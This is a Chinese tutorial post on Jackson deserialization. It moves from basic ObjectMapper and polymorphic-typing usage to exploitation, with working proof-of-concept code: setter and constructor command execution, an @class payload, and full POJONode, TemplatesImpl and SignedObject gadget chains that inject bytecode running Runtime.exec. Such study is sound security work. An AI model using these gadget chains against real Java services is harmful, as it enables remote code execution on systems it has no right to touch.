引用

深入浅出解析Jackson反序列化

前言

jackson相关基础知识这里就不赘述了,可参看引用

逻辑跟fastjson差不多

jackson简单使用

依赖

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<dependencies>
<dependency>
<groupId>com.fasterxml.jackson.core</groupId>
<artifactId>jackson-databind</artifactId>
<version>2.9.3</version>
</dependency>
<dependency>
<groupId>com.fasterxml.jackson.core</groupId>
<artifactId>jackson-core</artifactId>
<version>2.9.3</version>
</dependency>
<dependency>
<groupId>com.fasterxml.jackson.core</groupId>
<artifactId>jackson-annotations</artifactId>
<version>2.9.3</version>
</dependency>
</dependencies>

ObjectMapper

将JSON映射到Java对象(反序列化),或者将Java对象映射到JSON(序列化)

Person类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
package org.example;

class Person {
private String name;
private int age;
// 必须提供无参构造函数
public Person() {
System.out.println("Person constructor");
}
public String getName() {
System.out.println("Person.getName()");
return name;
}
public void setName(String name) {
System.out.println("Person.setName()");
this.name = name;
}
public int getAge() {
System.out.println("Person.getAge()");
return age;
}
public void setAge(int age) {
System.out.println("Person.setAge()");
this.age = age;
}
}

将json转换为对象

1
2
3
4
5
6
7
8
9
10
11
12
13
package org.example;

import com.fasterxml.jackson.databind.ObjectMapper;

public class Main {
public static void main(String[] args) throws Exception{
String json = "{\"name\":\"John\", \"age\":30}";
ObjectMapper objectMapper = new ObjectMapper();
Person person = objectMapper.readValue(json, Person.class);
System.out.println("Name: " + person.getName());
System.out.println("Age: " + person.getAge());
}
}

将对象转换为json

  • writeValue():将对象序列化为 JSON 并写入文件、输出流或 Writer
  • writeValueAsString():将对象序列化为 JSON 字符串。
  • writeValueAsBytes():将对象序列化为 JSON 字节数组
1
2
3
4
5
6
7
8
9
10
11
12
13
14
package org.example;

import com.fasterxml.jackson.databind.ObjectMapper;

public class Main {
public static void main(String[] args) throws Exception{
ObjectMapper objectMapper = new ObjectMapper();
Person person = new Person();
person.setAge(21);
person.setName("Sherlock");
String jsonstring = objectMapper.writeValueAsString(person);
System.out.println(jsonstring);
}
}

JsonParser

Jackson JsonParser类是一个底层一些的JSON解析器

Jackson JsonParser的运行层级低于Jackson ObjectMapper。 这使得JsonParser比ObjectMapper更快,但使用起来也比较麻烦

使用JsonParser需要先创建一个JsonFactory

1
2
3
4
5
6
7
8
9
10
11
12
13
package org.example;

import com.fasterxml.jackson.core.JsonFactory;
import com.fasterxml.jackson.core.JsonParser;

public class Main {
public static void main(String[] args) throws Exception{
String json = "{\"name\":\"John\", \"age\":30}";
JsonFactory jsonFactory = new JsonFactory();
JsonParser parser = jsonFactory.createParser(json);
System.out.println(parser);
}
}

一旦创建了Jackson JsonParser,就可以使用它来解析JSON;JsonParser的工作方式是将JSON分解为一系列令牌,可以一个一个地迭代令牌

可以使用JsonParser的nextToken()获得一个JsonToken。 可以使用此JsonToken实例检查给定的令牌

令牌类型由JsonToken类中的一组常量表示。 这些常量是

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
package org.example;

import com.fasterxml.jackson.core.JsonFactory;
import com.fasterxml.jackson.core.JsonParser;
import com.fasterxml.jackson.core.JsonToken;

public class Main {
public static void main(String[] args) throws Exception{
String json = "{\"name\":\"John\", \"age\":30}";
JsonFactory jsonFactory = new JsonFactory();
JsonParser parser = jsonFactory.createParser(json);
while(!parser.isClosed()){
JsonToken jsonToken = parser.nextToken();
System.out.println(jsonToken);
}
}
}
1
2
3
4
5
6
7
START_OBJECT
FIELD_NAME
VALUE_STRING
FIELD_NAME
VALUE_NUMBER_INT
END_OBJECT
null

指向的令牌是字符串字段值,则getValueAsString()返回当前令牌值作为字符串。 如果指向的令牌是整数字段值,则getValueAsInt()返回当前令牌值作为int值。 JsonParser具有更多类似的方法来获取不同类型的curren令牌值(例如boolean,short,long,float,double等)。

(下述例子中Prerson类的属性先改为public类型)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
package org.example;

import com.fasterxml.jackson.core.JsonFactory;
import com.fasterxml.jackson.core.JsonParser;
import com.fasterxml.jackson.core.JsonToken;

public class Main {
public static void main(String[] args) throws Exception{
String json = "{\"name\":\"John\", \"age\":30}";
JsonFactory jsonFactory = new JsonFactory();
Person person = new Person();
JsonParser parser = jsonFactory.createParser(json);
while(!parser.isClosed()) {
JsonToken jsonToken = parser.nextToken();
if (JsonToken.FIELD_NAME.equals(jsonToken)) {
String fieldName = parser.getCurrentName();
System.out.println(fieldName);

jsonToken = parser.nextToken();

if ("name".equals(fieldName)) {
person.name = parser.getValueAsString();

} else if ("age".equals(fieldName)) {
person.age = parser.getValueAsInt();
}
}

System.out.println("person's name is " + person.name);
System.out.println("person's age is " + person.age);
}
}
}

JsonGenerator

用于从Java对象(或代码从中生成JSON的任何数据结构)生成JSON

使用JsonGenerator也需要先创建一个JsonFactory 从其中使用createGenerator() 来创建一个JsonGenerator

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
package org.example;

import com.fasterxml.jackson.core.*;

import java.io.File;

public class Main {
public static void main(String[] args) throws Exception {
JsonFactory jsonFactory = new JsonFactory();
Person person = new Person();
JsonGenerator jsonGenerator = jsonFactory.createGenerator(new File("output.json"), JsonEncoding.UTF8);
jsonGenerator.writeStartObject();
jsonGenerator.writeStringField("name", "Sherlock");
jsonGenerator.writeNumberField("age", 21);
jsonGenerator.writeEndObject();

jsonGenerator.close();
}
}

多态问题的解决

大家都知道Java的多态就是同一个接口使用不同的实例而执行不同的操作

在Jackson中 JacksonPolymorphicDeserialization可以解决这个问题 在反序列化某个类对象的过程中 如果类的成员不是具体类型 比如是Object 接口 或者 抽象类 那么可以在JSON字符串中 指定其类型 Jackson将生成具体类型的实例

具体来说就是 将具体的子类信息绑定在序列化的内容中 以便于后续反序列化的时候 直接得到目标子类对象 我们可以通过DefaultTyping 和 @JsonTypeInfo 注解来实现

DefaultTyping

DefaultTyping 是 Jackson 提供的一个枚举类,用于配置多态类型处理。它决定了在序列化和反序列化时,Jackson 如何处理对象的类型信息

Jackson提供一个enableDefaultTyping设置 包含四个值

image-20250304171834388

下面简单分析下这四个值的作用

JAVA_LANG_OBJECT

当被序列化或反序列化的类里的属性被声明为一个Object类型时 会对该Object类型的属性进行序列化和反序列化 并明确规定类名

  • 仅对 Object 类型的属性启用类型信息嵌入。
  • 例如,如果一个字段的类型是 Object,Jackson 会在序列化时嵌入类型信息
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
package jackson;

import com.fasterxml.jackson.databind.ObjectMapper;

public class JSTest {
public static void main(String[] args) throws Exception{
Person2 person2 = new Person2();
person2.age = 123;
person2.name = "fakes0u1";
person2.object = new Hacker();

ObjectMapper objectMapper = new ObjectMapper();

objectMapper.enableDefaultTyping(ObjectMapper.DefaultTyping.JAVA_LANG_OBJECT);

String jsonstring = objectMapper.writeValueAsString(person2);
System.out.println(jsonstring);

Person2 p2 = objectMapper.readValue(jsonstring,Person2.class);
System.out.println(p2);
}
}

在设置了JAVA_LANG_OBJECT的时候会输出

1
2
{"name":"fakes0u1","age":123,"object":["jackson.Hacker",{"skill":"moyu"}]}
Person2.age=123,Person2.name=fakes0u1,jackson.Hacker@f6c48ac

没设置的时候会输出

1
2
{"name":"fakes0u1","age":123,"object":{"skill":"moyu"}}
Person2.age=123,Person2.name=fakes0u1,{skill=moyu}

OBJECT_AND_NON_CONCRETE

Object 类型以及非具体类型(如抽象类、接口)启用类型信息嵌入

加上一个接口

1
2
3
4
5
6
package jackson;

public interface Sex {
public void setSex(int sex);
public int getSex();
}

和实现接口的类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
package jackson;

public class MySex implements Sex{
int sex;

@Override
public void setSex(int sex){
this.sex = sex;
}

@Override
public int getSex(){
return sex;
}
}

最后加上OBJECT_AND_NON_CONCRETE参数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
package jackson;

import com.fasterxml.jackson.databind.ObjectMapper;

public class JSTest {
public static void main(String[] args) throws Exception{
Person2 person2 = new Person2();
person2.age = 123;
person2.name = "fakes0u1";
person2.object = new Hacker();
person2.sex = new MySex();

ObjectMapper objectMapper = new ObjectMapper();
objectMapper.enableDefaultTyping(ObjectMapper.DefaultTyping.OBJECT_AND_NON_CONCRETE);

String jsonstring = objectMapper.writeValueAsString(person2);
System.out.println(jsonstring);

Person2 p2 = objectMapper.readValue(jsonstring,Person2.class);
System.out.println(p2);
}
}

//输出结果:
{"name":"fakes0u1","age":123,"object":["jackson.Hacker",{"skill":"moyu"}],"sex":["jackson.MySex",{"sex":0}]}
Person2.age=123,Person2.name=fakes0u1,jackson.Hacker@239963d8,jackson.MySex@3abbfa04

可以看到接口也被成功的序列化和反序列化

NON_CONCRETE_AND_ARRAYS

  • 对非具体类型(Non-Concrete Types)启用类型信息嵌入
    • 非具体类型包括抽象类(Abstract Classes)和接口(Interfaces)。
    • 例如,如果一个字段的类型是 List(接口),Jackson 会在序列化时嵌入类型信息。
  • 对数组类型(Arrays)启用类型信息嵌入
    • 数组类型包括基本类型数组(如 int[])和对象数组(如 String[])。
    • 例如,如果一个字段的类型是 Object[],Jackson 会在序列化时嵌入类型信息
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
package jackson;

import com.fasterxml.jackson.databind.ObjectMapper;

public class JSTest {
public static void main(String[] args) throws Exception{
Person2 person2 = new Person2();
person2.age = 123;
person2.name = "fakes0u1";
Hacker[] hacker = new Hacker[2];
hacker[0] = new Hacker();
hacker[1] = new Hacker();
person2.object = hacker;
person2.sex = new MySex();

ObjectMapper objectMapper = new ObjectMapper();

objectMapper.enableDefaultTyping(ObjectMapper.DefaultTyping.OBJECT_AND_NON_CONCRETE);

String jsonstring = objectMapper.writeValueAsString(person2);
System.out.println(jsonstring);

Person2 p2 = objectMapper.readValue(jsonstring,Person2.class);
System.out.println(p2);
}
}
{"name":"fakes0u1","age":123,"object":["[Ljackson.Hacker;",[{"skill":"moyu"},{"skill":"moyu"}]],"sex":["jackson.MySex",{"sex":0}]}
Person2.age=123,Person2.name=fakes0u1,[Ljackson.Hacker;@e45f292,jackson.MySex@5f2108b5

这里直接就是这种形式

1
2
3
4
Hacker[] hackers = new Hacker[2]; // 创建长度为 2 的 Hacker 数组

hackers[0] = new Hacker("Alice"); // 为第一个元素分配一个 Hacker 对象
hackers[1] = new Hacker("Bob"); // 为第二个元素分配另一个 Hacker 对象

每个元素可以存储一个hacker对象的引用 这里的数组中的元素实际上是Hacker类的引用 并不是实际的对象 需要在使用之前通过实例化或赋值操作为数组元素分配实际的对象

NON_FINAL

对所有非 final 类型(即可以被子类化的类型)启用类型信息嵌入

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
package jackson;

public class Hacker {
public String skill = "moyu";
}

class Person2{
public String name = null;
public int age = 0;
public Object object;
public Sex sex;
public Hacker hacker;

@Override
public String toString(){
return String.format("Person2.age=%d,Person2.name=%s,%s,%s,%s",age,name,object == null ? "null" : object,sex == null ? "null" : sex,hacker == null ? "null" : hacker);
}
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
package jackson;

import com.fasterxml.jackson.databind.ObjectMapper;

public class JSTest {
public static void main(String[] args) throws Exception{
Person2 person2 = new Person2();
person2.age = 123;
person2.name = "fakes0u1";
Hacker[] hacker = new Hacker[2];
hacker[0] = new Hacker();
hacker[1] = new Hacker();
person2.object = hacker;
person2.sex = new MySex();
person2.hacker = new Hacker();

ObjectMapper objectMapper = new ObjectMapper();

objectMapper.enableDefaultTyping(ObjectMapper.DefaultTyping.NON_FINAL);

String jsonstring = objectMapper.writeValueAsString(person2);
System.out.println(jsonstring);

Person2 p2 = objectMapper.readValue(jsonstring,Person2.class);
System.out.println(p2);
}
}

@JsonTypeInfo注解

@JsonTypeInfo注解是Jackson多态类型绑定的一种方式,支持下面5种类型的取值:

1
2
3
4
5
@JsonTypeInfo(use = JsonTypeInfo.Id.NONE)
@JsonTypeInfo(use = JsonTypeInfo.Id.CLASS)
@JsonTypeInfo(use = JsonTypeInfo.Id.MINIMAL_CLASS)
@JsonTypeInfo(use = JsonTypeInfo.Id.NAME)
@JsonTypeInfo(use = JsonTypeInfo.Id.CUSTOM)

JsonTypeInfo.Id.NONE

用于指定在序列化和反序列化过程中不包含任何类型标识,不使用识别码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
package jackson;

import com.fasterxml.jackson.databind.ObjectMapper;

public class JSTest {
public static void main(String[] args) throws Exception{
Person2 person2 = new Person2();
person2.age = 123;
person2.name = "fakes0u1";
Hacker[] hacker = new Hacker[2];
hacker[0] = new Hacker();
hacker[1] = new Hacker();
person2.object = hacker;


ObjectMapper objectMapper = new ObjectMapper();


String jsonstring = objectMapper.writeValueAsString(person2);
System.out.println(jsonstring);

Person2 p2 = objectMapper.readValue(jsonstring,Person2.class);
System.out.println(p2);
}
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
package jackson;

import com.fasterxml.jackson.annotation.JsonTypeId;
import com.fasterxml.jackson.annotation.JsonTypeInfo;

public class Hacker {
public String skill = "moyu";
}

class Person2{
public String name = null;
public int age = 0;
@JsonTypeInfo(use = JsonTypeInfo.Id.NONE)
public Object object;


@Override
public String toString(){
return String.format("Person2.age=%d,Person2.name=%s,%s",age,name,object == null ? "null" : object);
}
}

输出

1
2
{"name":"fakes0u1","age":123,"object":[{"skill":"moyu"},{"skill":"moyu"}]}
Person2.age=123,Person2.name=fakes0u1,[{skill=moyu}, {skill=moyu}]

因为是不使用识别码 所以输出没有什么不一样

JsonTypeInfo.Id.CLASS

使用完全限定类名做识别

我们直接将person类中的注释修改为JsonTypeInfo.Id.CLASS 查看输出

1
2
{"name":"fakes0u1","age":123,"object":{"@class":"jackson.Hacker","skill":"moyu"}}
Person2.age=123,Person2.name=fakes0u1,jackson.Hacker@5702b3b1

我们可以看到 在序列化和反序列化的信息中 均有具体类的信息 在Jackson反序列化的时候如果使用了JsonTypeInfo.Id.CLASS修饰的话,可以通过@class的方式指定相关类,并进行相关调用。

JsonTypeInfo.Id.MINIMAL_CLASS

当我们将object的注释修改为JsonTypeInfo.Id.MINIMAL_CLASS时

输出为

1
2
{"name":"fakes0u1","age":123,"object":{"@c":"jackson.Hacker","skill":"moyu"}}
Person2.age=123,Person2.name=fakes0u1,jackson.Hacker@4b952a2d

看起来就是将上面的@class的形式给简写了

JsonTypeInfo.Id.NAME

将注释修改为JsonTypeInfo.Id.NAME后

序列化的输出变为

1
{"name":"fakes0u1","age":123,"object":{"@type":"Hacker","skill":"moyu"}}

多出一个@type 这里并没有像上面的CLASS一样 给出具体包名和类名 同时在反序列化的时候还会报错 也就是说 这个注释并不适用于反序列化过程

JsonTypeInfo.Id.CUSTOM

自定义识别码,由@JsonTypeIdResolver对应,由用户来自定义 并不能直接使用

通过上面的测试 我们发现在使用JsonTypeInfo.Id.CLASS和JsonTypeInfo.Id.MINIMAL_CLASS修饰Object类型的属性时 会触发Jackson的反序列化

反序列化中类属性方法的调用

就是对jackson中多态的反序列化过程进行分析

使用DefaultTyping或者@JsonTypeInfo时都会调用相对应的setter方法

Jackson的反序列化的过程分为两步 第一步通过构造函数生成实例 第二步是对实例进行设置属性值

对其进行调试

跟进readValue方法,一直往下走

image-20250304212234969

跟进deserialize方法

image-20250304221247721

image-20250304221347537

再跟进vanillaDeserialize方法

image-20250304221419535

调用createUsingDefault函数 从而调用指定类的无参构造函数来生成类实例 跟进一下

image-20250304221444416

跟进call方法

image-20250304221518632

call函数中调用的方法很熟悉吧,生成实例,我们跟进去

image-20250304221559925

调用了Person类的无参构造方法,从而完成了bean的实例化

在完成了类的实例化之后 就需要对类中的属性进行赋值 以键值对的形式进行匹配

image-20250304221748930

以do while循环的形式对其中的属性进行赋值 跟进一下deserializeAndSet函数

image-20250304221838464

检查属性类型随后跟进deserialize函数,这边属性是name所以跟进的是String类型的

image-20250304222122631

先对其进行解析,获取name的内容

image-20250304222333181

然后到 set处,进行setter的反射调用

image-20250304222250650

后面对于age字段的分析也类似,就不赘述了

如果说有向上面例子说的那样类的有一个字段是Object类型,并且有调用objectMapper.enableDefaultTyping方法或者@JsonTypeInfo注解的情况,那么当走到Object对象,比如是sex对像,那么在deserializeAndSet函数中就是调用deserializeWithType方法

image-20250305201708605

跟进去,这里返回null 于是继续会走到deserializeTypedFromObject方法,走进去

image-20250305202112934

image-20250305202442017

随后会对MySex对象的构造函数进行调用

随后会和上面一样对MySex之中的属性进行赋值 会调用到set方法

jackson反序列化漏洞

前提条件

满足以下三个条件之一 存在Jackson反序列化漏洞 也就是我们上面提到过的 会触发json中的类解析的注解或者函数

  • 调用了ObjectMapper.enableDefaultTyping()函数;
  • 对要进行反序列化的类的属性使用了值为JsonTypeInfo.Id.CLASS的@JsonTypeInfo注解;
  • 对要进行反序列化的类的属性使用了值为JsonTypeInfo.Id.MINIMAL_CLASS的@JsonTypeInfo注解;

漏洞原理

当我们使用的JacksonPolymorphicDeserialization配置有问题的时候 Jackson反序列化会调用属性所属类的构造函数和setter方法 我们就可以在这里做文章

我们可以以要进行反序列化的类的属性是否为Object类分为两种

无Object

我们从构造函数和setter方法入手

Person类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
package org.example;

class Person {
public String name;
public int age;

public Person() throws Exception{
System.out.println("Person constructor");
Runtime.getRuntime().exec("calc");
}
public String getName() {
System.out.println("Person.getName()");
return name;
}
public void setName(String name) throws Exception{
System.out.println("Person.setName()");
Runtime.getRuntime().exec(name);
this.name = name;
}
public int getAge() {
System.out.println("Person.getAge()");
return age;
}
public void setAge(int age) {
System.out.println("Person.setAge()");
this.age = age;
}
}

payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
package org.example;

import com.fasterxml.jackson.core.*;
import com.fasterxml.jackson.databind.ObjectMapper;

import java.io.File;

public class Main {
public static void main(String[] args) throws Exception {
String json = "{\"name\":\"calc\", \"age\":30}";
ObjectMapper objectMapper = new ObjectMapper();
Person person = objectMapper.readValue(json, Person.class);
System.out.println(person);
}
}

测试后会成功弹出两个计算器

有Object

因为Object是任意类型的父类 因此扩大了我们的攻击面 我们只需要在目标服务端中存在的且构造函数或setter方法存在漏洞的类即可进行攻击利用 例如 存在一个恶意类Evil 在其构造函数或者是setter方法中存在任意代码执行漏洞

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
package org.example;

public class Evil {
public String cmd;

public void setCmd(String cmd) {
this.cmd = cmd;
try {
Runtime.getRuntime().exec("calc");
}
catch (Exception e){
e.printStackTrace();
}
}
}

然后我们将其写到json中

1
2
3
4
5
6
7
8
9
10
11
12
13
14
package org.example;

import com.fasterxml.jackson.annotation.JsonTypeInfo;

class Person2{
public String name;
public int age;

public Person2(){
System.out.println("person 构造函数");
}
@JsonTypeInfo(use = JsonTypeInfo.Id.CLASS)
public Object object;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
package org.example;

import com.fasterxml.jackson.databind.ObjectMapper;

public class Test {
public static void main(String[] args) throws Exception{
ObjectMapper objectMapper = new ObjectMapper();
objectMapper.enableDefaultTyping();
String jsonstring = "{\"age\":6,\"name\":\"fakes0u1\",\"object\":[\"org.example.Evil\",{\"cmd\":\"calc\"}]}";

Person2 p2 = objectMapper.readValue(jsonstring,Person2.class);
System.out.println(p2);
}
}

可以成功执行calc


注意

版本较低的看CVE-2017-7525和CVE-2017-17485;具体利用看引用,这里就不具体分析啦


通杀>=2.10

这里测试用的版本是2.13.3

利用Jackson中的PojoNode 他的toString是可以直接触发任意的getter的 触发条件如下

  • 不需要存在该属性
  • getter方法需要有返回值
  • 尽可能的只有一个getter

User类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
package org.example;

import java.io.Serializable;

public class User implements Serializable {

public User() {
}

public Object getName() throws Exception {
Runtime.getRuntime().exec("calc");
return "asdas";
}

public Object setName(String name) {
System.out.println("setname");
return "sadsad";
}
}

Poc

1
2
3
4
5
6
7
8
9
10
11
package org.example;

import com.fasterxml.jackson.databind.node.POJONode;

public class Test {
public static void main(String[] args) {
User user = new User();
POJONode jsonNodes = new POJONode(user);
jsonNodes.toString();
}
}

测试后成功弹计算器

TemplatesImpl链

我们的POJONode是继承ValueNodeValueNode是继承BaseJsonNode

而在BaseJsonNode中存在

image-20250306162311796

意味着 我们在反序列化的时候 会经过这个writeReplace方法 这个方法会对我们的序列化过程进行检查 从而阻止我们的序列化进程

我们可以通过删除这个方法来跳过这个过程,但是发现 idea 无法修改源码,那么用 javassist 进行动态修改

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
package org.example;

import com.fasterxml.jackson.databind.node.POJONode;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import javassist.*;


import javax.management.BadAttributeValueExpException;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;

public class Test {
public static void main(String[] args) throws Exception {
ClassPool pool = ClassPool.getDefault();
ClassPool.getDefault().insertClassPath(new LoaderClassPath(Person.class.getClassLoader()));
CtClass ctClass = ClassPool.getDefault().getCtClass("com.fasterxml.jackson.databind.node.BaseJsonNode");
// 获取原方法
CtMethod originalMethod = ctClass.getDeclaredMethod("writeReplace");
// 修改方法名
originalMethod.setName("Replace");
// 加载修改后的类
ctClass.toClass();

CtClass clazz = pool.makeClass("sherlock");
CtClass superClass = pool.get(AbstractTranslet.class.getName());
clazz.setSuperclass(superClass);
CtConstructor constructor = new CtConstructor(new CtClass[]{}, clazz);
constructor.setBody("java.lang.Runtime.getRuntime().exec(\"calc\");");
clazz.addConstructor(constructor);
byte[][] bytes = new byte[][]{clazz.toBytecode()};
Templates templatesImpl = new TemplatesImpl();
setFieldValue(templatesImpl, "_bytecodes", bytes);
setFieldValue(templatesImpl, "_name", "fakes0u1");
setFieldValue(templatesImpl, "_tfactory", null);
POJONode jsonNodes = new POJONode(templatesImpl);
BadAttributeValueExpException exp = new BadAttributeValueExpException(null);
Field val = Class.forName("javax.management.BadAttributeValueExpException").getDeclaredField("val");
val.setAccessible(true);
val.set(exp,jsonNodes);

ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(barr);
objectOutputStream.writeObject(exp);
objectOutputStream.close();

ObjectInputStream objectInputStream = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
objectInputStream.readObject();
}

private static void setFieldValue(Object obj, String field, Object arg) throws Exception{
Field f = obj.getClass().getDeclaredField(field);
f.setAccessible(true);
f.set(obj, arg);
}
}

调试

可以看到TemplateImpl链的大部分代码跟fastjson里面的相关链代码差不多,开始调试

通过BadAttributeValueExpExceptionreadObject方法进入

image-20250306170249390

跟进,到了BaseJsonNodetoString 调用InternalNodeMapper.nodeToString

image-20250306170359881

调用ObjectWriter.writeValueAsString(Object value)

image-20250306170658369

最终在serializeAsField中触发invoke 调用到TemplatesImpl.getOutputProperties

调用链如下(一张图截不下来):

image-20250306171712945

image-20250306171741936

image-20250306173226068

SignObject链

在Templates被ban的情况下,打二次反序列化

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
package org.example;

import com.fasterxml.jackson.databind.node.POJONode;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import javassist.*;


import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.reflect.Field;
import java.net.URI;
import java.security.*;
import java.util.Base64;

public class Test {
public static void main(String[] args) throws Exception {
ClassPool pool = ClassPool.getDefault();
ClassPool.getDefault().insertClassPath(new LoaderClassPath(Person.class.getClassLoader()));
CtClass ctClass = ClassPool.getDefault().getCtClass("com.fasterxml.jackson.databind.node.BaseJsonNode");
// 获取原方法
CtMethod originalMethod = ctClass.getDeclaredMethod("writeReplace");
// 修改方法名
originalMethod.setName("Replace");
// 加载修改后的类
ctClass.toClass();

CtClass clazz = pool.makeClass("sherlock");
CtClass superClass = pool.get(AbstractTranslet.class.getName());
clazz.setSuperclass(superClass);
CtConstructor constructor = new CtConstructor(new CtClass[]{}, clazz);
constructor.setBody("java.lang.Runtime.getRuntime().exec(\"calc\");");
clazz.addConstructor(constructor);
byte[][] bytes = new byte[][]{clazz.toBytecode()};
TemplatesImpl templatesImpl = new TemplatesImpl();
setFieldValue(templatesImpl, "_bytecodes", bytes);
setFieldValue(templatesImpl, "_name", "fakes0u1");
setFieldValue(templatesImpl, "_tfactory", null);
POJONode jsonNodes2 = new POJONode(templatesImpl);
BadAttributeValueExpException exp2 = new BadAttributeValueExpException(null);
Field val2 = Class.forName("javax.management.BadAttributeValueExpException").getDeclaredField("val");
val2.setAccessible(true);
val2.set(exp2,jsonNodes2);

KeyPairGenerator keyPairGenerator;
keyPairGenerator = KeyPairGenerator.getInstance("DSA");
keyPairGenerator.initialize(1024);
KeyPair keyPair = keyPairGenerator.genKeyPair();
PrivateKey privateKey = keyPair.getPrivate();
Signature signingEngine = Signature.getInstance("DSA");
SignedObject signedObject = new SignedObject(exp2,privateKey,signingEngine);
POJONode jsonNodes = new POJONode(signedObject);
BadAttributeValueExpException exp = new BadAttributeValueExpException(null);
Field val = Class.forName("javax.management.BadAttributeValueExpException").getDeclaredField("val");
val.setAccessible(true);
val.set(exp,jsonNodes);

ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(barr);
objectOutputStream.writeObject(exp);
objectOutputStream.close();

ObjectInputStream objectInputStream = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
objectInputStream.readObject();
}
private static void setFieldValue(Object obj, String field, Object arg) throws Exception{
Field f = obj.getClass().getDeclaredField(field);
f.setAccessible(true);
f.set(obj, arg);
}
}

调试

调试的时候前面都是一样的,但后面反射调用的是SignedObject.getObject()方法

image-20250306210022014

SignedObject.getObject之中 这里还存在一个readObject()方法 可以将我们传进来的在进行一次反序列化从而达到绕过的目的 然后是又一遍TemplatesImpl链

跟进去的话最后会走到BadAttributeValueExpException.readObject()方法,进行第二次反序列化

image-20250306211159503

接下来的步骤和上面的TemplatesImpl链是一样的了